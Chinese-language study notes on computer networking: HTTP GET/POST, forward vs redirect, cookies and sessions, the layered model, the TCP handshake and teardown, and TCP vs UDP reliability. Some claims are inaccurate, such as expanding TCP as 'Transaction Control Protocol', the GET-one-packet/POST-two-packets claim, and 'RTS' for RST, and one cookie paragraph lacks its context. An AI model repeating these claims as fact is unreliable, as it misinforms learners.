计算机网络

get请求和post请求的区别

在实际应用中,getpost请求的区别主要有以下几个:

  • get请求用于从服务器上获得资源,而post请求用于向服务器提交数据
  • get将表单中的数据按照key=value的形式,添加到action指定的URL后面,并且两者之间使用?连接,各个变量之间使用&连接;post是将表单的数据放在HTTP协议的请求头或者消息体中,传递到action所指向的URL
  • get传输的数据要受到URL长度的限制(最大长度是2048个字符);而post可以传输大量数据,上传文件通常使用post
  • 使用get时参数会显示在地址栏上,如果这些数据不是敏感数据,那么可以使用get,对于敏感数据应使用post
  • get使用MIME类型application/x-www-form-urlencoded的URL编码(也叫百分号编码)文本格式传递参数,保证被传送的参数由遵循规范的文本组成,例如一个空格的编码是%20
  • get请求参数会被完整保留在浏览器历史记录里,而post中的参数不会被保留。

但是在本质上,get和post请求没有区别

getpost是HTTP协议中的两种发送请求的方法,而HTTP是基于TCP/IP的关于数据如何在万维网中如何通信的协议。因此,getpost的底层也是TCP/IP,也就是说,getpost都是TCP链接,它们能做的事情其实是一样的,要让getpost的事,或者让postget的事,技术上都是可以实现的。只是由于HTTP的规定和浏览器/服务器的限制,导致他们在应用过程中体现出一些不同。

此外,getpost还有一个重要的区别:get产生一个TCP数据包;POST产生两个TCP数据包

对于get方式的请求,浏览器会把http headerdata一并发送出去,服务器响应200(返回数据);

而对于post,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。

因为POST需要两步,时间上消耗的要多一点,看起来GET比POST更有效。因此Yahoo团队有推荐用GET替换POST来优化网站性能。但这是一个坑!跳入需谨慎。为什么?

  1. GET与POST都有自己的语义,不能随便混用。
  2. 据研究,在网络环境好的情况下,发一次包的时间和发两次包的时间差别基本可以无视。而在网络环境差的情况下,两次包的TCP在验证数据包完整性上,有非常大的优点。
  3. 并不是所有浏览器都会在POST中发送两次包,Firefox就只发送一次。

转发和重定向的区别

转发是服务端行为,重定向是客户端行为

  • 从地址栏来说:forward是服务器请求资源,服务器直接访问目标地址的URL,把那个 URL 的响应内容读取过来,然后把这些内容再发给浏览器。浏览器根本不知道服务器发送的内容从哪里来的,所以它的地址栏还是原来的地址。redirect是服务端根据逻辑,发送一个状态码,告诉浏览器重新去请求那个地址。所以地址栏显示的是新的URL。
  • 从数据共享来说:forward转发页面和转发到的页面可以共享request里面的数据,而redirect不能共享数据
  • 从运用的地方来说:forward一般用于用户登陆的时候,根据角色转发到相应的模块;redirect一般用于用户注销登陆时返回主页面和跳转到其它的网站等。
  • 从效率来说:forward高,redirect

java中转发和重定向的实现:

转发通过RequestDispatcher对象的forward(HttpServletRequest request,HttpServletResponse response)方法实现,RequestDispatcher可以通过HttpServletRequestgetRequestDispatcher()方法获得。

//转发,应该使用request,因为是在请求的时候进行转发
//获取转发器
RequestDispatcher requestDispatcher = request.getRequestDispatcher("/ListServlet");//在服务器端,/表示web目录
//转发
requestDispatcher.forward(request,response);//使用转发浏览器的url不会改变

重定向通过HttpServletResponsesetStatus(int status)方法设置状态码。如果服务器返回301或者302,则浏览器会到新的网址重新请求该资源。通过response.sendRedirect("info.html")指定跳转路径。

Cookie和Session的区别

Cookie和Session都是用来跟踪浏览器用户身份的会话方式,但是两者的应用场景不太一样。

Cookie一般用来保存用户信息比如:

  1. 我们在Cookie中保存已经登录过得用户信息,下次访问网站的时候页面可以自动帮你登录的一些基本信息给填了;
  2. 一般的网站都会有保持登录也就是说下次你再访问网站的时候就不需要重新登录了,这是因为用户登录的时候我们可以存放了一个 Token 在 Cookie 中,下次登录的时候只需要根据 Token 值来查找用户即可(为了安全考虑,重新登录一般要将 Token 重写);
  3. 登录一次网站后访问网站其他页面不需要重新登录。

Session 的主要作用就是通过服务端记录用户的状态。 典型的场景是购物车,当你要添加商品到购物车的时候,系统不知道是哪个用户操作的,因为 HTTP 协议是无状态的。服务端给特定的用户创建特定的 Session 之后就可以标识这个用户并且跟踪这个用户了。

Cookie 数据保存在客户端(浏览器端),Session 数据保存在服务器端。

Cookie 存储在客户端中,而Session存储在服务器上,相对来说 Session 安全性更高。如果使用 Cookie 的一些敏感信息不要写入 Cookie 中,最好能将 Cookie 信息加密然后使用到的时候再去服务器端解密。

cookie和session的创建都是在服务器,但是cookie其状态是保存在客户端中的,session是保存在服务器中的。创建session时,服务器会在浏览器上创建一个cookie存储sessionID,后面客户端请求时服务器将读取sessionId找到对应的session。当浏览器关闭时,cookie会被删除,所以下次再访问时无法根据sessionId找到session,就会导致失效(但是实际上session还在,只是找不到了)

cookie和session的选择

  • Cookie 只能存储 ASCII 码字符串,而 Session 则可以存储任何类型的数据,因此在考虑数据复杂性时首选 Session;
  • Cookie 存储在浏览器中,容易被恶意查看。如果非要将一些隐私数据存在 Cookie 中,可以将 Cookie 值进行加密,然后在服务器进行解密;
  • 对于大型网站,如果用户所有的信息都存储在 Session 中,那么开销是非常大的,因此不建议将所有的用户信息都存储到 Session 中。

具体介绍

HTTP协议是无状态的,主要是为了让HTTP协议尽可能简单,使得它能够处理大量事务。HTTP/1.1引入Cookie来保存状态信息。

Cookie是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器之后向同一服务器再次发起请求时被携带上,用于告知服务端两个请求是否来自同一浏览器。由于之后每次请求都会需要携带Cookie数据,因此会带来额外的性能开销(尤其是在移动环境下)。

Cookie曾一度用于客户端数据的存储,因为当时并没有其它合适的存储办法而作为唯一的存储手段,但现在随着现代浏览器开始支持各种各样的存储方式,Cookie渐渐被淘汰。新的浏览器 API 已经允许开发者直接将数据存储到本地,如使用Web storage API(本地存储和会话存储)或IndexedDB

用途

  • 会话状态管理(如用户登录状态、购物车、游戏分数或者其它需要记录的信息)
  • 个性化设置(如用户自定义设置、主题等)
  • 浏览器行为跟踪(如跟踪分析用户行为等)

创建过程

服务器发送的响应报文包含Set-Cookie首部字段,客户端得到响应报文后把Cookie内容保存到浏览器中

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

客户端之后对同一个服务器发送请求时,会从浏览器中取出Cookie信息并通过Cookie请求首部字段发送给服务器

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

分类

  • 会话期 Cookie:浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。
  • 持久性 Cookie:指定过期时间(Expires)或有效期(max-age)之后就成为了持久性的 Cookie。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

作用域

Domain 标识指定了哪些主机可以接受 Cookie。如果不指定,默认为当前文档的主机(不包含子域名)。如果指定了 Domain,则一般包含子域名。例如,如果设置Domain = mozilla.org,则 Cookie 也包含在子域名中(如 developer.mozilla.org)。

Path 标识指定了主机下的哪些路径可以接受 Cookie(该 URL 路径必须存在于请求 URL 中)。以字符%x2F(即/) 作为路径分隔符,子路径也会被匹配。例如,设置Path=/docs,则以下地址都会匹配:

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

JavaScript

浏览器通过document.cookie属性可创建新的Cookie,也可以通过该属性访问非HttpOnly标记的Cookie

document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);

HttpOnly

标记为HttpOnlyCookie不能被JavaScript脚本调用。跨站脚本攻击(XSS) 常常使用 JavaScript 的document.cookie API 窃取用户的 Cookie 信息,因此使用HttpOnly标记可以在一定程度上避免 XSS 攻击。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Secure

标记为SecureCookie只能通过被 HTTPS 协议加密过的请求发送给服务端。但即便设置了Secure标记,敏感信息也不应该通过Cookie传输,因为Cookie有其固有的不安全性,Secure标记也无法提供确实的安全保障。

此时无法使用 Cookie 来保存用户信息,只能使用 Session。除此之外,不能再将 Session ID 存放到 Cookie 中,而是使用 URL 重写技术,将 Session ID 作为 URL 的参数进行传递。

Session

除了可以将用户信息通过 Cookie 存储在用户浏览器中,也可以利用 Session 存储在服务器端,存储在服务器端的信息更加安全。

Session 可以存储在服务器上的文件、数据库或者内存中。也可以将 Session 存储在 Redis 这种内存型数据库中,效率会更高。

使用 Session 维护用户登录状态的过程如下:

  • 用户进行登录时,用户提交包含用户名和密码的表单,放入 HTTP 请求报文中;
  • 服务器验证该用户名和密码,如果正确则把用户信息存储到 Redis 中,它在 Redis 中的 Key 称为 Session ID;
  • 服务器返回的响应报文的 Set-Cookie 首部字段包含了这个 Session ID,客户端收到响应报文之后将该 Cookie 值存入浏览器中;
  • 客户端之后对同一个服务器进行请求时会包含该 Cookie 值,服务器收到之后提取出 Session ID,从 Redis 中取出用户信息,继续之前的业务操作。

应该注意 Session ID 的安全性问题,不能让它被恶意攻击者轻易获取,那么就不能产生一个容易被猜到的 Session ID 值。此外,还需要经常重新生成 Session ID。在对安全性要求极高的场景下,例如转账等操作,除了使用 Session 管理用户状态之外,还需要对用户进行重新验证,比如重新输入密码,或者使用短信验证码等方式。

OSI 与 TCP/IP 各层的结构与功能,都有哪些协议

计算机网络体系结构

一般采用五层协议。

物理层

在物理层上所传送的数据单位是比特。物理层(physical player)的作用是实现相邻计算机节点之间比特流的透明传送,尽可能屏蔽掉具体传输介质和物理设备的差异。使其上面的数据链路层不必考虑网络的具体传输介质是什么。“透明传送比特流”表示经实际电路传送后的比特流没有发生变化,对传送的比特流来说,这个电路是看不见的。

物理层知识点总结

  1. 物理层的主要任务就是确定与传输媒体接口有关的一些特性,如机械特性,电气特性,功能特性,过程特性。

  2. 一个数据通信系统可划分为三大部分,即源系统,传输系统,目的系统。源系统包括源点(或源站,信源)和发送器,目的系统包括接收器和终点。

  3. 通信的目的是传送消息。如话音,文字,图像等都是消息,数据是运送消息的实体。信号则是数据的电器或电磁的表现。

  4. 根据信号中代表消息的参数的取值方式不同,信号可分为模拟信号(或连续信号)和数字信号(或离散信号)。在使用时间域(简称时域)的波形表示数字信号时,代表不同离散数值的基本波形称为码元。

  5. 根据双方信息交互的方式,通信可划分为单向通信(或单工通信),双向交替通信(或半双工通信),双向同时通信(全双工通信)。

  6. 来自信源的信号称为基带信号。信号要在信道上传输就要经过调制。调制有基带调制和带通调制之分。最基本的带通调制方法有调幅,调频和调相。还有更复杂的调制方法,如正交振幅调制。

  7. 要提高数据在信道上的传递速率,可以使用更好的传输媒体,或使用先进的调制技术。但数据传输速率不可能任意被提高。

  8. 传输媒体可分为两大类,即导引型传输媒体(双绞线,同轴电缆,光纤)和非导引型传输媒体(无线,红外,大气激光)。

  9. 为了有效利用光纤资源,在光纤干线和用户之间广泛使用无源光网络PON。无源光网络无需配备电源,其长期运营成本和管理成本都很低。最流行的无源光网络是以太网无源光网络EPON和吉比特无源光网络GPON。

数据链路层

数据链路层(data link layer)通常简称为链路层,两台主机之间的数据传输,总是在一段一段的链路上传送的,这就需要使用专门的链路层的协议。在两个相邻节点之间传送数据时,数据链路层将网络层交下来的IP数据报组装成帧,在两个相邻节点间的链路上传送帧。每一帧包括数据和必要的控制信息(如同步信息,地址信息,差错控制等)

在接收数据时,控制信息使接收端能够知道一个帧从哪个比特开始和到哪个比特结束。这样,数据链路层在收到一个帧后,就可以从中提取出数据部分,上交给网络层。控制信息还使接收端能够检测到所收到的帧中有无差错。如果发现差错,数据链路层就简单地丢弃这个出了差错的帧,以避免继续在网络中传送下去白白浪费网络资源。如果需要改正数据在链路层传输时出现的差错(这就是说,数据链路层不仅要检错,而且还要纠错),那么就要采用可靠性传输协议来纠正出现的差错。这种方法会使链路层的协议复杂些。

数据链路层知识点总结

  1. 链路是从一个结点到相邻节点的一段物理链路,数据链路则在链路的基础上增加了一些必要的硬件(如网络适配器)和软件(如协议的实现)

  2. 数据链路层使用的主要是点对点信道广播信道两种。

  3. 数据链路层传输的协议数据单元是帧。数据链路层的三个基本问题是:封装成帧透明传输差错检测

  4. 循环冗余检验CRC是一种检错方法,而帧检验序列FCS是添加在数据后面的冗余码

  5. 点对点协议PPP是数据链路层使用最多的一种协议,它的特点是:简单,只检测差错而不去纠正差错,不使用序号,也不进行流量控制,可同时支持多种网络层协议

  6. PPPoE是为宽带上网的主机使用的链路层协议

  7. 局域网的优点是:具有广播功能,从一个站点可方便地访问全网;便于系统的扩展和逐渐演变;提高了系统的可靠性,可用性和生存性。

  8. 共向媒体通信资源的方法有二:一是静态划分信道(各种复用技术),而是动态媒体接入控制,又称为多点接入(随即接入或受控接入)

  9. 计算机与外接局域网通信需要通过通信适配器(或网络适配器),它又称为网络接口卡或网卡。计算器的硬件地址就在适配器的ROM中

  10. 以太网采用的无连接的工作方式,对发送的数据帧不进行编号,也不要求对方发回确认。目的站收到有差错帧就把它丢掉,其他什么也不做

  11. 以太网采用的协议是具有冲突检测的载波监听多点接入CSMA/CD。协议的特点是:发送前先监听,边发送边监听,一旦发现总线上出现了碰撞,就立即停止发送。然后按照退避算法等待一段随机时间后再次发送。 因此,每一个站点在自己发送数据之后的一小段时间内,存在这遭遇碰撞的可能性。以太网上的各站点平等的争用以太网信道

  12. 以太网的适配器具有过滤功能,它只接收单播帧,广播帧和多播帧。

  13. 使用集线器可以在物理层扩展以太网(扩展后的以太网仍然是一个网络)

网络层

在计算机网络中进行通信的两个计算机之间可能会经过很多个数据链路,也可能还要经过很多通信子网。网络层的任务就是选择合适的网间路由和交换结点, 确保数据及时传送。 在发送数据时,网络层把运输层产生的报文段或用户数据报封装成分组和包进行传送。在 TCP/IP 体系结构中,由于网络层使用 IP 协议,因此分组也叫 IP 数据报 ,简称数据报。

这里要注意:不要把运输层的“用户数据报 UDP ”和网络层的“ IP 数据报”弄混。另外,无论是哪一层的数据单元,都可笼统地用“分组”来表示。

这里强调指出,网络层中的“网络”二字已经不是我们通常谈到的具体网络,而是指计算机网络体系结构模型中第三层的名称.

互联网是由大量的异构(heterogeneous)网络通过路由器(router)相互连接起来的。互联网使用的网络层协议是无连接的网际协议(Intert Protocol)和许多路由选择协议,因此互联网的网络层也叫做网际层或IP层。

网络层知识点总结

  1. TCP/IP 协议中的网络层向上只提供简单灵活的,无连接的,尽最大努力交付的数据报服务。网络层不提供服务质量的承诺,不保证分组交付的时限所传送的分组可能出错,丢失,重复和失序。进程之间通信的可靠性由运输层负责

  2. 在互联网的交付有两种,一是在本网络直接交付不用经过路由器,另一种是和其他网络的间接交付,至少经过一个路由器,但最后一次一定是直接交付

  3. 分类的IP地址由网络号字段(指明网络)和主机号字段(指明主机)组成。网络号字段最前面的类别指明IP地址的类别。IP地址是一种分等级的地址结构。IP 地址管理机构分配 IP 地址时只分配网络号,主机号由得到该网络号的单位自行分配。路由器根据目的主机所连接的网络号来转发分组。一个路由器至少连接到两个网络,所以一个路由器至少应当有两个不同的IP地址

  4. IP 数据报分为首部和数据两部分。首部的前一部分是固定长度,共20字节,是所有IP数据包必须具有的(源地址,目的地址,总长度等重要地段都固定在首部)。一些长度可变的可选字段固定在首部的后面。IP首部中的生存时间给出了IP数据报在互联网中所能经过的最大路由器数。可防止 IP 数据报在互联网中无限制的兜圈子。

  5. 地址解析协议 ARP 把 IP 地址解析为硬件地址。ARP 的高速缓存可以大大减少网络上的通信量。因为这样可以使主机下次再与同样地址的主机通信时,可以直接从高速缓存中找到所需要的硬件地址而不需要再去广播方式发送 ARP 请求分组

  6. 无分类域间路由选择CIDR是解决目前IP地址紧缺的一个好办法。CIDR 记法把 IP 地址后面加上斜线“/”,然后写上前缀所所占的位数。前缀,或网络前缀用来指明网络,前缀后面的部分是后缀,用来指明主机。CIDR 把前缀都相同的连续的IP地址组成一个“CIDR地址块”,IP地址分配都以CIDR地址块为单位。

  7. 网际控制报文协议是IP层的协议。ICMP 报文作为IP数据报的数据,加上首部后组成IP数据报发送出去。使用ICMP数据报并不是为了实现可靠传输。ICMP允许主机或路由器报告差错情况和提供有关异常情况的报告。ICMP报文的种类有两种 ICMP差错报告报文和ICMP询问报文。

  8. 要解决IP地址耗尽的问题,最根本的办法是采用具有更大地址空间的新版本IP协议-IPv6。IPv6所带来的变化有

    • 更大的地址空间(采用128位地址)

    • 灵活的首部格式

    • 改进的选项

    • 支持即插即用

    • 支持资源的预分配

    • IPv6的首部改为8字节对齐。

    • 另外IP数据报的目的地址可以是以下三种基本类型地址之一:单播,多播和任播

  9. 虚拟专用网络 VPN 利用公用的互联网作为本机构专用网之间的通信载体。VPN 内使用互联网的专用地址。一个 VPN 至少要有一个路由器具有合法的全球 IP 地址,这样才能和本系统的另一个 VPN 通过互联网进行通信。所有通过互联网传送的数据都需要加密

  10. MPLS的特点是:

    • 支持面向连接的服务质量
    • 支持流量工程,平衡网络负载
    • 有效的支持虚拟专用网VPN。MPLS在入口节点给每一个IP数据报打上固定长度的“标记”,然后根据标记在第二层(链路层)用硬件进行转发(在标记交换路由器中进行标记交换),因而转发速率大大加快。

运输层

运输层(transport layer)的主要任务就是负责向两台主机进程之间的通信提供通用的数据传输服务。应用进程利用该服务传送应用层报文。“通用的”是指并不针对某一个特定的网络应用,而是多种应用可以使用同一个运输层服务。由于一台主机可同时运行多个进程,因此运输层有复用和分用的功能。所谓复用就是指多个应用层进程可同时使用下面运输层的服务,分用和复用相反,是运输层把收到的信息分别交付上面应用层中的相应进程。传输层传输的数据单位是报文段

运输层主要使用以下两种协议:

  1. 传输控制协议TCP(Transaction Control Protocol):提供面向连接的,可靠的数据传输服务
  2. 用户数据协议UDP(User Datagram Protocol):提供无连接的,尽最大努力的数据传输服务,不保证数据传输的可靠性

运输层知识点总结

  1. 运输层提供应用进程之间的逻辑通信,也就是说,运输层之间的通信并不是真正在两个运输层之间直接传输数据。运输层向应用层屏蔽了下面网络的细节(如网络拓补,所采用的路由选择协议等),它使应用进程之间看起来好像两个运输层实体之间有一条端到端的逻辑通信信道。

  2. 网络层为主机提供逻辑通信,而运输层为应用进程之间提供端到端的逻辑通信。

  3. 运输层的两个重要协议是用户数据报协议UDP和传输控制协议TCP。按照OSI的术语,两个对等运输实体在通信时传送的数据单位叫做运输协议数据单元TPDU(Transport Protocol Data Unit)。但在TCP/IP体系中,则根据所使用的协议是TCP或UDP,分别称之为TCP报文段或UDP用户数据报。

  4. UDP在传送数据之前不需要先建立连接,远地主机在收到UDP报文后,不需要给出任何确认。虽然UDP不提供可靠交付,但在某些情况下UDP确是一种最有效的工作方式。 TCP提供面向连接的服务。在传送数据之前必须先建立连接,数据传送结束后要释放连接。TCP不提供广播或多播服务。由于TCP要提供可靠的,面向连接的传输服务,这一难以避免增加了许多开销,如确认,流量控制,计时器以及连接管理等。这不仅使协议数据单元的首部增大很多,还要占用许多处理机资源。

  5. 硬件端口是不同硬件设备进行交互的接口,而软件端口是应用层各种协议进程与运输实体进行层间交互的一种地址。UDP和TCP的首部格式中都有源端口和目的端口这两个重要字段。当运输层收到IP层交上来的运输层报文时,就能够根据其首部中的目的端口号把数据交付应用层的目的应用层。(两个进程之间进行通信不光要知道对方IP地址而且要知道对方的端口号(为了找到对方计算机中的应用进程))

  6. 运输层用一个16位端口号标志一个端口。端口号只有本地意义,它只是为了标志计算机应用层中的各个进程在和运输层交互时的层间接口。在互联网的不同计算机中,相同的端口号是没有关联的。协议端口号简称端口。虽然通信的终点是应用进程,但只要把所发送的报文交到目的主机的某个合适端口,剩下的工作(最后交付目的进程)就由TCP和UDP来完成。

  7. 运输层的端口号分为服务器端使用的端口号(01023指派给熟知端口,102449151是登记端口号)和客户端暂时使用的端口号(49152~65535)

  8. UDP的主要特点是

    • 无连接
    • 尽最大努力交付
    • 面向报文
    • 无拥塞控制
    • 支持一对一,一对多,多对一和多对多的交互通信
    • 首部开销小(只有四个字段:源端口,目的端口,长度和检验和)
  9. TCP的主要特点是

    • 面向连接
    • 每一条TCP连接只能是一对一的
    • 提供可靠交付
    • 提供全双工通信
    • 面向字节流
  10. TCP用主机的IP地址加上主机上的端口号作为TCP连接的端点。这样的端点就叫做套接字(socket)或插口。套接字用(IP地址:端口号)来表示。每一条TCP连接唯一被通信两端的两个端点所确定。

  11. 停止等待协议是为了实现可靠传输的,它的基本原理就是每发完一个分组就停止发送,等待对方确认。在收到确认后再发下一个分组。

  12. 为了提高传输效率,发送方可以不使用低效率的停止等待协议,而是采用流水线传输。流水线传输就是发送方可连续发送多个分组,不必每发完一个分组就停下来等待对方确认。这样可使信道上一直有数据不间断的在传送。这种传输方式可以明显提高信道利用率。

  13. 停止等待协议中超时重传是指只要超过一段时间仍然没有收到确认,就重传前面发送过的分组(认为刚才发送过的分组丢失了)。因此每发送完一个分组需要设置一个超时计时器,其重转时间应比数据在分组传输的平均往返时间更长一些。这种自动重传方式常称为自动重传请求ARQ。另外在停止等待协议中若收到重复分组,就丢弃该分组,但同时还要发送确认。连续ARQ协议可提高信道利用率。发送维持一个发送窗口,凡位于发送窗口内的分组可连续发送出去,而不需要等待对方确认。接收方一般采用累积确认,对按序到达的最后一个分组发送确认,表明到这个分组位置的所有分组都已经正确收到了。

  14. TCP报文段的前20个字节是固定的,后面有4n字节是根据需要增加的选项。因此,TCP首部的最小长度是20字节。

  15. TCP使用滑动窗口机制。发送窗口里面的序号表示允许发送的序号。发送窗口后沿的后面部分表示已发送且已收到确认,而发送窗口前沿的前面部分表示不允许发送。发送窗口后沿的变化情况有两种可能,即不动(没有收到新的确认)和前移(收到了新的确认)。发送窗口的前沿通常是不断向前移动的。一般来说,我们总是希望数据传输更快一些。但如果发送方把数据发送的过快,接收方就可能来不及接收,这就会造成数据的丢失。所谓流量控制就是让发送方的发送速率不要太快,要让接收方来得及接收。

  16. 在某段时间,若对网络中某一资源的需求超过了该资源所能提供的可用部分,网络的性能就要变坏。这种情况就叫拥塞。拥塞控制就是为了防止过多的数据注入到网络中,这样就可以使网络中的路由器或链路不致过载。拥塞控制所要做的都有一个前提,就是网络能够承受现有的网络负荷。拥塞控制是一个全局性的过程,涉及到所有的主机,所有的路由器,以及与降低网络传输性能有关的所有因素。相反,流量控制往往是点对点通信量的控制,是个端到端的问题。流量控制所要做到的就是抑制发送端发送数据的速率,以便使接收端来得及接收。

  17. 为了进行拥塞控制,TCP发送方要维持一个拥塞窗口cwnd的状态变量。拥塞控制窗口的大小取决于网络的拥塞程度,并且动态变化。发送方让自己的发送窗口取为拥塞窗口和接收方的接受窗口中较小的一个。

  18. TCP的拥塞控制采用了四种算法,即慢开始,拥塞避免,快重传和快恢复。在网络层也可以使路由器采用适当的分组丢弃策略(如主动队列管理AQM),以减少网络拥塞的发生。

  19. 运输连接的三个阶段,即:连接建立,数据传送和连接释放。

  20. 主动发起TCP连接建立的应用进程叫做客户,而被动等待连接建立的应用进程叫做服务器。TCP连接采用三报文握手机制。服务器要确认用户的连接请求,然后客户要对服务器的确认进行确认。

  21. TCP的连接释放采用四报文握手机制。任何一方都可以在数据传送结束后发出连接释放的通知,待对方确认后进入半关闭状态。当另一方也没有数据再发送时,则发送连接释放通知,对方确认后就完全关闭了TCP连接

应用层

应用层(application-layer)的任务是通过应用进程间的交互来完成特定网络应用。应用层协议定义的是应用进程(进程:主机中正在运行的程序)间的通信和交互的规则。对于不同的网络应用需要不同的应用层协议。在互联网中应用层协议很多,如域名系统DNS,支持万维网应用的 HTTP协议,支持电子邮件的 SMTP协议等等。我们把应用层交互的数据单元称为报文

域名系统

域名系统(Domain Name System缩写 DNS,Domain Name被译为域名)是因特网的一项核心服务,它作为可以将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。(百度百科)例如:一个公司的 Web 网站可看作是它在网上的门户,而域名就相当于其门牌地址,通常域名都使用该公司的名称或简称。例如上面提到的微软公司的域名,类似的还有:IBM 公司的域名是 www.ibm.com、Oracle 公司的域名是 www.oracle.com、Cisco公司的域名是 www.cisco.com 等。

HTTP协议

超文本传输协议(HTTP,HyperText Transfer Protocol)是互联网上应用最为广泛的一种网络协议。所有的 WWW(万维网) 文件都必须遵守这个标准。设计 HTTP 最初的目的是为了提供一种发布和接收 HTML 页面的方法。(百度百科)

三次握手和四次挥手

为了准确无误地把数据送达目标处,TCP协议采用了三次握手策略。

三次握手

三次握手1

三次握手2

三次握手3

  • 首先服务端处于LISTEN(监听)状态,等待客户端的连接请求
  • 客户端:发送带有SYN标志的数据包(一次握手-服务器
SYN = 1
ACK = 0
seq = x # 初始序号
  • 服务端:发送带有SYN/ACK标志的数据包(二次握手-客户端
SYN = 1
ACK = 1
ack = x+1 # 确认号
seq = y # 也发送一个初始序号
  • 客户端:发送带有ACK标志的数据包(三次握手-服务器
ACK = 1
seq = x+1
ack = y+1

为什么要三次握手?

主要是用于确认服务端和客户端双方收发功能正常,缺一不可。

第一次握手:客户端什么都不能确认,服务端确认对方发送正常,自己接受正常。

第二次握手:客户端确认自己发送正常,接收正常,对方发送正常,接收正常;服务端确对方发送正常,自己接收正常。

第三次握手:客户端确认自己发送正常,接收正常,对方发送正常,接收正常;服务端确认自己发送正常,接收正常,对方发送正常,接收正常。

为啥要传回SYN

接收端传回发送端发送的SYN是为了告诉发送端,我接收到的信息确实就是你所发送的信号了。

SYN是 TCP/IP 建立连接时使用的握手信号。在客户端和服务器之间建立正常的 TCP 网络连接时,客户机首先发出一个SYN消息,服务器使用SYN-ACK应答表示接收到了这个消息,最后客户机再以ACK(Acknowledgement[汉译:确认字符 ,在数据通信传输中,接收站发给发送站的一种传输控制字符。它表示确认发来的数据已经接受无误。])消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。

传了SYN,为什么还要传ACK

双方通信无误必须是两者互相发送消息都无误,传了SYN,证明发送方到接收方的通道没有问题,但是接收方到发送方的通道还需要ACK信号进行验证。

三次握手失败怎么办?

tcp 建立连接三次握手,主动方发送请求 syn,server 接收到信息,返回带有数据包的信息 syn_sent,然后接收到信息的一方再发送确认信息 ACK 给 server,第三次握手失败(超时)时,服务器并不会重传 ack 报文,server 会发送 RTS 复位报文段并主动关闭至 closed,以防止 syn 洪泛攻击。

syn洪泛攻击:通俗的理解是,当第三次握手没有发送确认信息时,等待一段时间后,主机就会断开之前的半开连接并回收资源,这为 dos(deny of service) 攻击埋下隐患,当主动方主动发送大量的 syn 数据包,但并不做出第三次握手响应,server 就会为这些 syn 包分配资源(但并未使用),就会使 server 占用大量内存,使 server 连接环境耗尽,这就是 syn 洪泛攻击

四次挥手

断开一个TCP连接需要“四次挥手”
四次挥手

四次挥手2

  • 客户端:发送一个FIN = 1,用来关闭客户端到服务器的数据传送
  • 服务器:收到这个FIN,它发送一个ACK=1,确认序号为收到的序号加1。和SYN一样,一个FIN将占用一个序号。此时TCP属于半关闭状态,服务端能向客户端发送数据,但是客户端不能向服务端发送数据。
  • 服务器:关闭与客户端的连接,发送一个FIN = 1,ACK =1给客户端
  • 客户端:发回ACK = 1报文确认,并将确认序号设置为收到序号加1
  • 客户端:进入TIME-WAIT状态,等待2MSL(最大报文存活时间)后释放链接
  • 服务端收到客户端的确认后释放链接。

为什么要四次挥手

客户端发送了FIN连接释放报文之后,服务器收到了这个报文后就进入CLOSE-WAIT状态,这是为了让服务器端发送还未传送完毕的数据,传送完毕之后,服务器会发送FIN连接释放报文。

客户端收到服务端的FIN报文后进入TIME_WAIT状态,此时并不是直接进入CLOSED状态,还需要等待一个时间计时器设置的时间2MSL,原因:

  • 确保最后一个确认报文能够到达。如果服务端没收到来自客户端的确认报文,那么就会重新发送连接释放请求报文,客户端等待一段时间就是为了处理这种情况发生
  • 对于 TCP 来说,在将数据添加到发送缓冲区之后,可能需要等待相对较长的时间之后数据才会被真正发送出去,等待一段时间是为了让本连接持续时间内所产生的所有报文都从网络中消失,使得下一个新的连接不会出现旧的连接请求报文。

任何一方都可以在数据传送结束后发出连接释放的通知,待对方确认后进入半关闭状态。当另一方也没有数据再发送的时候,则发出连接释放通知,双方确认后就完全关闭了TCP连接。

TCP,UDP协议的区别

TCP,UDP协议区别

UDP 在传送数据之前不需要先建立连接,远地主机在收到 UDP 报文后,不需要给出任何确认。虽然 UDP 不提供可靠交付,但在某些情况下 UDP 确是一种最有效的工作方式(一般用于即时通信),比如: QQ 语音、 QQ 视频 、直播等等

TCP 提供面向连接的服务。在传送数据之前必须先建立连接,数据传送结束后要释放连接。 TCP 不提供广播或多播服务。由于 TCP 要提供可靠的,面向连接的传输服务(TCP的可靠体现在TCP在传递数据之前,会有三次握手来建立连接,而且在数据传递时,有确认、窗口、重传、拥塞控制机制,在数据传完后,还会断开连接用来节约系统资源),这一难以避免增加了许多开销,如确认,流量控制,计时器以及连接管理等。这不仅使协议数据单元的首部增大很多,还要占用许多处理机资源。TCP 一般用于文件传输、发送和接收邮件、远程登录等场景。

TCP协议如何保证可靠传输

  • 应用数据被分割成 TCP 认为最适合发送的数据块。
  • TCP 给发送的每一个包进行编号,接收方对数据包进行排序,把有序数据传送给应用层。
  • 检验和:TCP 将保持它首部和数据的校验和。这是一个端到端的校验和,目的是检测数据在传输过程中的任何变化。如果收到段的校验和有差错,TCP 将丢弃这个报文段和不确认收到此报文段。
  • TCP 的接收端会丢弃重复的数据。
  • 流量控制:TCP 连接的每一方都有固定大小的缓冲空间,TCP的接收端只允许发送端发送接收端缓冲区能接纳的数据。当接收方来不及处理发送方的数据,能提示发送方降低发送的速率,防止包丢失。TCP 使用的流量控制协议是可变大小的滑动窗口协议。 (TCP 利用滑动窗口实现流量控制)
  • 拥塞控制:当网络拥塞时,减少数据的发送
  • ARQ协议:也是为了实现可靠传输的,它的基本原理就是每发完一个分组就停止发送,等待对方确认。在收到确认后再发下一个分组。
  • 超时重传:当 TCP 发出一个段后,它启动一个定时器,等待目的端确认收到这个报文段。如果不能及时收到一个确认,将重发这个报文段。

ARQ协议

